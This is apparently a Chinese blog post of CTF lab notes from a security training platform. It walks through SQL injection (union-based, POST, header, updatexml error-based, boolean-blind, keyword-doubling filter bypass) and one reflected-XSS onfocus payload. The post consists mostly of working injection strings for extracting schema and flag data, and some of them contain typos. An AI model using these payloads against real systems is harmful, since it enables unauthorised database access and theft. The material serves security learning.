掌控安全做题

第一题,整数型

1,判断是否存在注入点
后边添加and 1=1 查看是否正常回显,如果正常就说明存在注入
2,猜解字段数
采用二分法 使用order by 语句
3,查询联合输出点 例子:id=1 and 1=2 union select 1,2 3
4,查询数据库名
and 1=2 union select 1,2 database()#
5,查询数据库表名
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘数据库的名字’#
5,查询表中的字段
union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘表的名字’#
5,查询字段的数据:
id=1 union select 1,字段 from 表 limit 数字,数字#

字符型
同理于整型
第二题:

1,格式特点:’ union select 1,2 database() --+

第三题:

id=(‘1’)
2,格式特点:’) union select 1,2 database() --+

第四题:
id=(“1”)
3,格式特点: ") union select 1,2 database() --+

POST注入:post是一种传参方式,大多出现在各种框处,如登录框,查询框和各种与数据库有交互的框
注入攻击:用户输入的数据当作成代码执行
post与get注入没有什么本质区别,一个是在表单框执行注入,一个是在url栏执行注入。

第五题:
username:文本框
本体就是在username文本框输入内容
1,通过输入’ ,’) ,")等看是否闭合,出现错误就是存在闭合
2,方法跟字符型注入一样的格式
第六题:
原理跟第五题一样
格式上:") union select 1,2 ,database()#

header注入:

link
header:指的是HTTP的头
user-Agent:服务器能够识别客户使用的操作系统,浏览器版本
cookie:网站为了识别用户身份,进行session跟踪而存储在用户本地终端上的数据(通过加密)
X-Forward-For:简称XFF头,代表客户端,也就是http的请求端真实的IP
Clien-ip:是代理服务器发送的http头,取得用户的ip
Rerferer:浏览器向wed服务器表明自己是从哪个页面链接过来的
Host:客户端指定自己想访问的wed服务器的域名/ip地址和端口号

解题思路:

(第七,八,九题)
1,根据header注入的特点,在用户登陆成功拿一下会记录http头,所以我们要通过burpsuit去破解用户名和密码
2,
理解函数:
updatexml()更新xml文档的内容
语法:updatexml(目标xml内容,xml文档路径,更新的内容)
updatexml()与extractvalue()类似
concat(str1,受托人,…)返回结果来连接参数产生的字符串,有任何一个参数为NULL则返回值为NULL)
3,普遍我们改UA(user-Agent)我们要查找要修改的是哪个信息
1’ and updatexml(1,concat(0x7e,database()),1,),1) – q(查数据库)
(解释:1’单引号是为了闭合,0x7e是波浪号的十六进制表示,一是为了报错,二是为了防止过滤。其中(第一个1是给UA的值,第二个和第三个是updataxml()函数的,可以随便写,,第四个1是给username的值,最后多出来的),是用来闭合的
4,查数据库里的表
1’ and updatexml(1,concat(0x7e,select group_concat(table_name) from information_schema.tables where table_schema=database()),1),1) – q
5,查表里的字段,字段的数据
5,查字段:
1’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=‘flag_error’ limit 0,1))),1),‘2’) – q
6,查字段里的数据:
1’ and updatexml(1,concat(0x7e,(select flag_h1 from flag_error limit 1,0)),1),‘2’) – q(其中第三个1可以换数据,直到查到正确的flag)

布尔盲注:(第十题)

页面的状态没有数据显示
第一:判断是否注入,注入是数字型还是字符型,再是判断列数
第二步:首先要知道第一个数据库的长度
and length(database())>10进行判断
第二步:构造一条语句去判断猜测数据库第一个字母的ascii值是的值
and ascii (substr(database(),1,1))>100(采用二分法去判断
第三步:采用抓包里的intruder进行字典查询
一步一步去试,就能得到数据库的名字

xss做题

第一题:
反射型xss
在文本框输入
出现一直显示报错
再是查看源码时,发现<>别换成了html代码
所以本题 尖括号被过滤了,然后尝试在输入框内闭合引号,添加onfocus事件
alt
'onfocus alert(1) autofocus//(后面用//注释掉)

报错注入:

存在得出的数据不全时,需要使用拼接语句(
substr( 查询的语句,str1,str2)str1为开始位置(1)
str2为结束位置,updatexml字段为32位
报错得出的数据被过滤时,使用在语句里进行拼接(再放数据进去)例如:
有些情况:0’ an and d updatexml(1,(concat(0x7e,(select group_cioncat(filllaaaagggg) fr from om flag),1),1,32)),‘2’) --+
1,1’ an and d updatexml(1,concat(0x7e,(select database())),0x7e)#
alt
2,1’ an and d updatexml(1,concat(0x7e,(select group_concat(table_name) fr from om information_schema.tables wh where ere table_schema like database())),0x7e)#
alt
3,1’ an and d updatexml(1,concat(0x7e,(select column_name fr from om information_schema.columns wh where ere table_name like ‘flag’ limit 0,1)),0x7e)#
alt
4,1’ an and d updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name like ‘flag’ limit 15,1)),0x7e)#
alt
4,0’ an and d updatexml(1,concat(0x7e,(select group_concat(filllaaaagggg) fr from om flag),1),1,32)),‘2’) --+

alt

0’ a and nd updatexml(1,substr(concat(0x7e,(select flllaaagggg from flag))33,32),0x7e)#

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值